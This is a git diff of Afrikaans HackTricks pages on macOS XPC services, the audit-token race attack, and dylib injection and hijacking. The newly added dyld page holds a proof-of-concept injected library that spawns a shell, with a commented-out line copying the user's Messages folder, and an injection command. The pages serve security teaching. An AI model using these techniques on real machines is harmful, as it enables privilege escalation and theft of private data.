Die XPC-komponente van 'n toepassing is **binne die toepassing self**. Byvoorbeeld, in Safari kan jy hulle vind in **`/Applications/Safari.app/Contents/XPCServices`**. Hulle het die uitbreiding **`.xpc`** (soos **`com.apple.Safari.SandboxBroker.xpc`**) en is **ook bundels** met die hoofbinêre binne-in dit: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` en 'n `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
|
@ -36,11 +38,12 @@ Soos jy dalk dink, sal 'n **XPC-komponent verskillende toestemmings en voorregte
|
|||
|
||||
XPC-diens word **begin** deur **launchd** wanneer dit nodig is en **afgeskakel** sodra alle take **voltooi** is om stelselhulpbronne vry te maak. **Toepassing-spesifieke XPC-komponente kan slegs deur die toepassing gebruik word**, wat die risiko wat verband hou met potensiële kwesbaarhede verminder.
|
||||
|
||||
## Stelselwye XPC-diens
|
||||
### Stelselwye XPC-diens
|
||||
|
||||
Stelselwye XPC-diens is toeganklik vir alle gebruikers. Hierdie dienste, hetsy launchd of Mach-tipe, moet **in plist-lêers** gedefinieer word wat in gespesifiseerde gidsies soos **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, of **`/Library/LaunchAgents`** geleë is.
|
||||
|
||||
Hierdie plist-lêers sal 'n sleutel hê met die naam **`MachServices`** met die naam van die diens, en 'n sleutel met die naam **`Program`** met die pad na die binêre lêer:
|
||||
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
|
@ -74,13 +77,14 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
Diegene in **`LaunchDameons`** word deur root uitgevoer. As 'n onbevoorregte proses met een van hierdie kan kommunikeer, kan dit in staat wees om voorregte te verhoog.
|
||||
|
||||
## XPC Gebeurtenisboodskappe
|
||||
### XPC Gebeurtenisboodskappe
|
||||
|
||||
Toepassings kan inteken op verskillende gebeurtenisboodskappe, wat hulle in staat stel om op aanvraag geïnisieer te word wanneer sulke gebeure plaasvind. Die opstelling vir hierdie dienste word gedoen in **`launchd plist-lêers`**, wat in dieselfde gids as die voriges geleë is en 'n ekstra **`LaunchEvent`** sleutel bevat.
|
||||
|
||||
### XPC Verbindende Prosessetoets
|
||||
#### XPC Verbindende Prosessetoets
|
||||
|
||||
Wanneer 'n proses probeer om 'n metode te roep via 'n XPC-verbindig, moet die XPC-diens nagaan of daardie proses toegelaat word om te verbind. Hier is die algemene maniere om dit te toets en die algemene valstrikke:
|
||||
|
||||
|
@ -88,7 +92,7 @@ Wanneer 'n proses probeer om 'n metode te roep via 'n XPC-verbindig, moet die XP
|
|||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XPC Magtiging
|
||||
### XPC Magtiging
|
||||
|
||||
Apple laat ook programme toe om sommige regte te konfigureer en hoe om dit te verkry, sodat as die aanroepende proses dit het, dit toegelaat sal word om 'n metode van die XPC-diens te roep:
|
||||
|
||||
|
@ -96,9 +100,10 @@ Apple laat ook programme toe om sommige regte te konfigureer en hoe om dit te ve
|
|||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XPC Sniffer
|
||||
### XPC Sniffer
|
||||
|
||||
Om die XPC-boodskappe te snuffel, kan jy [**xpcspy**](https://github.com/hot3eed/xpcspy) gebruik wat **Frida** gebruik.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip3 install xpcspy
|
||||
|
@ -109,10 +114,11 @@ xpcspy -U -r -W <bundle-id>
|
|||
## Using filters (i: for input, o: for output)
|
||||
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
||||
```
|
||||
## XPC Kommunikasie C Kode Voorbeeld
|
||||
|
||||
### XPC Kommunikasie C Kode Voorbeeld
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="xpc_server.c" %}
|
||||
{% tab title="undefined" %}
|
||||
```c
|
||||
// gcc xpc_server.c -o xpc_server
|
||||
|
||||
|
@ -166,7 +172,9 @@ dispatch_main();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xpc_client.c" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```c
|
||||
// gcc xpc_client.c -o xpc_client
|
||||
|
||||
|
@ -195,6 +203,8 @@ dispatch_main();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="xyz.hacktricks.service.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -218,6 +228,7 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc xpc_server.c -o xpc_server
|
||||
|
@ -237,10 +248,11 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
|||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||
```
|
||||
## XPC Kommunikasie Objective-C Kode Voorbeeld
|
||||
|
||||
### XPC Kommunikasie Objective-C Kode Voorbeeld
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="oc_xpc_server.m" %}
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
#include <Foundation/Foundation.h>
|
||||
|
@ -290,7 +302,9 @@ listener.delegate = delegate;
|
|||
sleep(10); // Fake something is done and then it ends
|
||||
}
|
||||
```
|
||||
{% tab title="oc_xpc_client.m" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
#include <Foundation/Foundation.h>
|
||||
|
@ -313,6 +327,8 @@ NSLog(@"Received response: %@", response);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -336,25 +352,26 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
|
||||
# Save server on it's location
|
||||
cp oc_xpc_server /tmp
|
||||
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client
|
||||
|
||||
# Load daemon
|
||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
## Save server on it's location
|
||||
|
||||
# Call client
|
||||
./oc_xpc_client
|
||||
cp oc\_xpc\_server /tmp
|
||||
|
||||
# Clean
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
||||
```
|
||||
## Load daemon
|
||||
|
||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
|
||||
## Call client
|
||||
|
||||
./oc\_xpc\_client
|
||||
|
||||
## Clean
|
||||
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
|
||||
|
||||
````
|
||||
## Kliënt binne 'n Dylb-kode
|
||||
|
||||
In hierdie scenario sal ons 'n kliënt binne 'n Dylb-kode implementeer. Die Dylb-kode is 'n dinamiese biblioteek wat gebruik word om funksies te deel tussen verskillende toepassings. Ons sal die kliënt binne die Dylb-kode gebruik om te kommunikeer met 'n bedienersagteware wat deur die Dylb-kode verskaf word.
|
||||
|
@ -400,7 +417,8 @@ NSLog(@"Done!");
|
|||
|
||||
return;
|
||||
}
|
||||
```
|
||||
````
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -410,7 +428,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS xpc\_connection\_get\_audit\_token Aanval
|
||||
# macOS xpc\_connection\_get\_audit\_token Attack
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -20,8 +20,8 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
As jy nie weet wat Mach-boodskappe is nie, begin deur hierdie bladsy te kyk:
|
||||
|
||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% content-ref url="../../" %}
|
||||
[..](../../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Vir die oomblik, onthou dat ([definisie vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
|
@ -51,6 +51,7 @@ Alhoewel die vorige situasie belowend klink, is daar enkele scenario's waar dit
|
|||
Twee verskillende metodes waardeur dit uitgebuit kan word:
|
||||
|
||||
1. Variant1:
|
||||
|
||||
* **Exploit verbind** met diens **A** en diens **B**
|
||||
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens **A** aanroep wat die gebruiker nie kan nie
|
||||
* Diens **A** roep **`xpc_connection_get_audit_token`** aan terwyl _**nie**_ binne die **gebeurtenishanterer** vir 'n verbinding in 'n **`dispatch_async`** nie.
|
||||
|
@ -58,7 +59,9 @@ Twee verskillende metodes waardeur dit uitgebuit kan word:
|
|||
* Die aanval gee **diens B die STUUR-reg aan diens A**.
|
||||
* Dus sal diens **B** eintlik die **boodskappe** na diens **A stuur**.
|
||||
* Die **aanval** probeer om die **bevoorregte aksie aan te roep.** In 'n RC diens **A** **kontroleer** die magtiging van hierdie **aksie** terwyl **diens B die Oudit-token oorskryf** het (wat die aanval toegang gee om die bevoorregte aksie aan te roep).
|
||||
|
||||
2. Variant 2:
|
||||
|
||||
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens **A** aanroep wat die gebruiker nie kan nie
|
||||
* Aanval verbind met **diens A** wat die aanval 'n **boodskap stuur wat 'n antwoord verwag** in 'n spesifieke **herhaalpoort**.
|
||||
* Aanval stuur **diens** B 'n boodskap wat **daardie antwoordpoort** deurgee.
|
||||
|
@ -87,9 +90,7 @@ Om die aanval uit te voer:
|
|||
2. Vorm 'n sekondêre **verbinding** met `diagnosticd`. In teenstelling met die normale prosedure, in plaas daarvan om twee nuwe mach-poorte te skep en te stuur, word die kliëntpoort-stuurreg vervang met 'n duplicaat van die **stuurreg** wat geassosieer word met die `smd`-verbinding.
|
||||
3. As gevolg hiervan kan XPC-boodskappe na `diagnosticd` gestuur word, maar antwoorde van `diagnosticd` word na `smd` omgelei. Vir `smd` lyk dit asof die boodskappe van beide die gebruiker en `diagnosticd` van dieselfde verbinding afkomstig is.
|
||||
|
||||
![Beeld wat die aanvalproses uitbeeld](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. Die volgende stap behels om `diagnosticd` te instrueer om die monitering van 'n gekose proses te begin (moontlik die gebruiker se eie). Gelyktydig word 'n vloed van gereelde 1004-boodskappe gestuur na `smd`. Die doel hier is om 'n instrument met verhoogde voorregte te installeer.
|
||||
5. Hierdie aksie veroorsaak 'n wedloopstoestand binne die `handle_bless`-funksie. Die tydsberekening is krities: die `xpc_connection_get_pid`-funksieoproep moet die PID van die gebruiker se proses teruggee (aangesien die bevoorregte instrument in die gebruiker se toepassingsbundel woon). Die `xpc_connection_get_audit_token`-funksie, spesifiek binne die `connection_is_authorized`-subroetine, moet egter verwys na die oudit-token wat aan `diagnosticd` behoort.
|
||||
![Beeld wat die aanvalproses uitbeeld](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) 4. Die volgende stap behels om `diagnosticd` te instrueer om die monitering van 'n gekose proses te begin (moontlik die gebruiker se eie). Gelyktydig word 'n vloed van gereelde 1004-boodskappe gestuur na `smd`. Die doel hier is om 'n instrument met verhoogde voorregte te installeer. 5. Hierdie aksie veroorsaak 'n wedloopstoestand binne die `handle_bless`-funksie. Die tydsberekening is krities: die `xpc_connection_get_pid`-funksieoproep moet die PID van die gebruiker se proses teruggee (aangesien die bevoorregte instrument in die gebruiker se toepassingsbundel woon). Die `xpc_connection_get_audit_token`-funksie, spesifiek binne die `connection_is_authorized`-subroetine, moet egter verwys na die oudit-token wat aan `diagnosticd` behoort.
|
||||
|
||||
## Variante 2: antwoord deurstuur
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Biblioteekinspuiting
|
||||
# macOS Library Injection
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
@ -20,7 +20,7 @@ Die kode van **dyld is oopbron** en kan gevind word by [https://opensource.apple
|
|||
|
||||
## **DYLD\_INSERT\_LIBRARIES**
|
||||
|
||||
Dit is soos die [**LD\_PRELOAD op Linux**](../../../../linux-hardening/privilege-escalation#ld\_preload). Dit maak dit moontlik om 'n proses aan te dui wat uitgevoer gaan word om 'n spesifieke biblioteek van 'n pad te laai (as die omgewingsveranderlike geaktiveer is).
|
||||
Dit is soos die [**LD\_PRELOAD op Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Dit maak dit moontlik om 'n proses aan te dui wat uitgevoer gaan word om 'n spesifieke biblioteek van 'n pad te laai (as die omgewingsveranderlike geaktiveer is).
|
||||
|
||||
Hierdie tegniek kan ook **gebruik word as 'n ASEP-tegniek** aangesien elke geïnstalleerde toepassing 'n plist genaamd "Info.plist" het wat die **toewysing van omgewingsveranderlikes** moontlik maak deur gebruik te maak van 'n sleutel genaamd `LSEnvironmental`.
|
||||
|
||||
|
@ -45,7 +45,7 @@ Selfs as die binêre lêer die **`DYLD_INSERT_LIBRARIES`** omgewingsveranderlike
|
|||
|
||||
Om 'n aangepaste biblioteek te laai, moet die binêre lêer een van die volgende toekennings hê:
|
||||
|
||||
*  [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||
|
||||
of die binêre lêer **moet nie** die **gehardloop-tyd-vlag** of die **biblioteekvalideringsvlag** hê nie.
|
||||
|
@ -56,8 +56,8 @@ Jy kan ook 'n biblioteek laai as dit **onderteken is met dieselfde sertifikaat a
|
|||
|
||||
Vind 'n voorbeeld van hoe om dit (mis)tebruik en die beperkings te kontroleer in:
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dylib-hacking
|
||||
|
@ -97,8 +97,8 @@ Die manier om voorregte te verhoog deur hierdie funksionaliteit te misbruik, sou
|
|||
|
||||
**Voorbeeld**
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dlopen Hijacking
|
||||
|
@ -109,7 +109,8 @@ Onthou dat **vorige Biblioteekvalideringsbeperkings ook van toepassing is** om D
|
|||
|
||||
Vanaf **`man dlopen`**:
|
||||
|
||||
* Wanneer die pad **nie 'n sku
|
||||
* Wanneer die pad \*\*nie 'n sku
|
||||
|
||||
```c
|
||||
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
||||
#include <dlfcn.h>
|
||||
|
@ -152,10 +153,13 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
As jy dit saamstel en uitvoer, kan jy sien **waar elke biblioteek onsuksesvol gesoek is**. Jy kan ook **die FS-logboeke filter**:
|
||||
|
||||
```bash
|
||||
sudo fs_usage | grep "dlopentest"
|
||||
```
|
||||
|
||||
## Relatiewe Pad Kaping
|
||||
|
||||
As 'n **bevoorregte binêre toepassing** (soos 'n SUID of 'n binêre toepassing met kragtige toestemmings) 'n relatiewe pad biblioteek laai (byvoorbeeld deur gebruik te maak van `@executable_path` of `@loader_path`) en Biblioteekvalidering gedeaktiveer is, kan dit moontlik wees om die binêre toepassing na 'n plek te skuif waar die aanvaller die relatiewe pad biblioteek kan wysig en dit misbruik om kode in die proses in te spuit.
|
||||
|
@ -167,12 +171,15 @@ In die lêer `dyld-dyld-832.7.1/src/dyld2.cpp` is dit moontlik om die funksie **
|
|||
Dit sal ook spesifiek die omgewingsveranderlikes **`DYLD_FALLBACK_FRAMEWORK_PATH`** en **`DYLD_FALLBACK_LIBRARY_PATH`** nul stel vir **suid** en **sgid** binêre toepassings.
|
||||
|
||||
Hierdie funksie word vanuit die **`_main`** funksie van dieselfde lêer geroep as dit op OSX gemik word, soos hier:
|
||||
|
||||
```cpp
|
||||
#if TARGET_OS_OSX
|
||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||
pruneEnvironmentVariables(envp, &apple);
|
||||
```
|
||||
|
||||
en daardie booleaanse vlae word in dieselfde lêer in die kode ingestel:
|
||||
|
||||
```cpp
|
||||
#if TARGET_OS_OSX
|
||||
// support chrooting from old kernel
|
||||
|
@ -203,13 +210,15 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
|
|||
gLinkContext.allowInsertFailures = false;
|
||||
gLinkContext.allowInterposing = true;
|
||||
```
|
||||
|
||||
Dit beteken basies dat as die binêre lêer **suid** of **sgid** is, of 'n **RESTRICT** segment in die koppe het, of onderteken is met die **CS\_RESTRICT** vlag, dan is **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** waar en word die omgewingsveranderlikes uitgesny.
|
||||
|
||||
Let daarop dat as CS\_REQUIRE\_LV waar is, sal die veranderlikes nie uitgesny word nie, maar die biblioteekvalidering sal nagaan of hulle dieselfde sertifikaat as die oorspronklike binêre lêer gebruik.
|
||||
Let daarop dat as CS\_REQUIRE\_LV waar is, sal die veranderlikes nie uitgesny word nie, maar die biblioteekvalidering sal nagaan of hulle dieselfde sertifikaat as die oorspronklike binêre lêer gebruik.
|
||||
|
||||
## Kontroleer Beperkings
|
||||
|
||||
### SUID & SGID
|
||||
|
||||
```bash
|
||||
# Make it owned by root and suid
|
||||
sudo chown root hello
|
||||
|
@ -220,6 +229,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
|||
# Remove suid
|
||||
sudo chmod -s hello
|
||||
```
|
||||
|
||||
### Afdeling `__RESTRICT` met segment `__restrict`
|
||||
|
||||
In macOS, the `__RESTRICT` section is a special section in the Mach-O binary format that is used to mark memory regions as restricted. This section is typically used to protect sensitive code or data from being modified or accessed by unauthorized processes.
|
||||
|
@ -231,10 +241,12 @@ By leveraging the `__RESTRICT` section and the `__restrict` segment, developers
|
|||
It is important to note that the `__RESTRICT` section and the `__restrict` segment are not foolproof and should not be solely relied upon for securing an application. They should be used in conjunction with other security measures, such as proper input validation, secure coding practices, and regular security updates.
|
||||
|
||||
Overall, the `__RESTRICT` section with the `__restrict` segment provides a valuable security feature in macOS that can help protect critical code and data from unauthorized access or modification.
|
||||
|
||||
```bash
|
||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
```
|
||||
|
||||
### Geharde uitvoering
|
||||
|
||||
Skep 'n nuwe sertifikaat in die Sleutelbos en gebruik dit om die binêre lêer te onderteken:
|
||||
|
@ -264,15 +276,18 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
|||
{% hint style="danger" %}
|
||||
Let daarop dat selfs as daar bineêre lêers is wat onderteken is met vlae **`0x0(none)`**, kan hulle dinamies die **`CS_RESTRICT`** vlag kry wanneer hulle uitgevoer word en daarom sal hierdie tegniek nie in hulle werk nie.
|
||||
|
||||
Jy kan nagaan of 'n pros hierdie vlag het met (kry [**csops hier**](https://github.com/axelexic/CSOps)): 
|
||||
Jy kan nagaan of 'n pros hierdie vlag het met (kry [**csops hier**](https://github.com/axelexic/CSOps)):
|
||||
|
||||
```bash
|
||||
csops -status <pid>
|
||||
```
|
||||
|
||||
en dan kontroleer of die vlag 0x800 geaktiveer is.
|
||||
{% endhint %}
|
||||
|
||||
## Verwysings
|
||||
* [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
|
||||
|
||||
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -283,7 +298,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,187 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES Basiese voorbeeld
|
||||
|
||||
**Biblioteek om in te spuit** om 'n skul te voer:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
__attribute__((constructor))
|
||||
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||
printf("[+] dylib injected in %s\n", argv[0]);
|
||||
execv("/bin/bash", 0);
|
||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Binêre teiken:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
printf("Hello, World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Injeksie:
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld Hijacking Voorbeeld
|
||||
|
||||
Die teiken kwesbare binêre lêer is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/. (offset 12)
|
||||
--
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/../lib2 (offset 12)
|
||||
```
|
||||
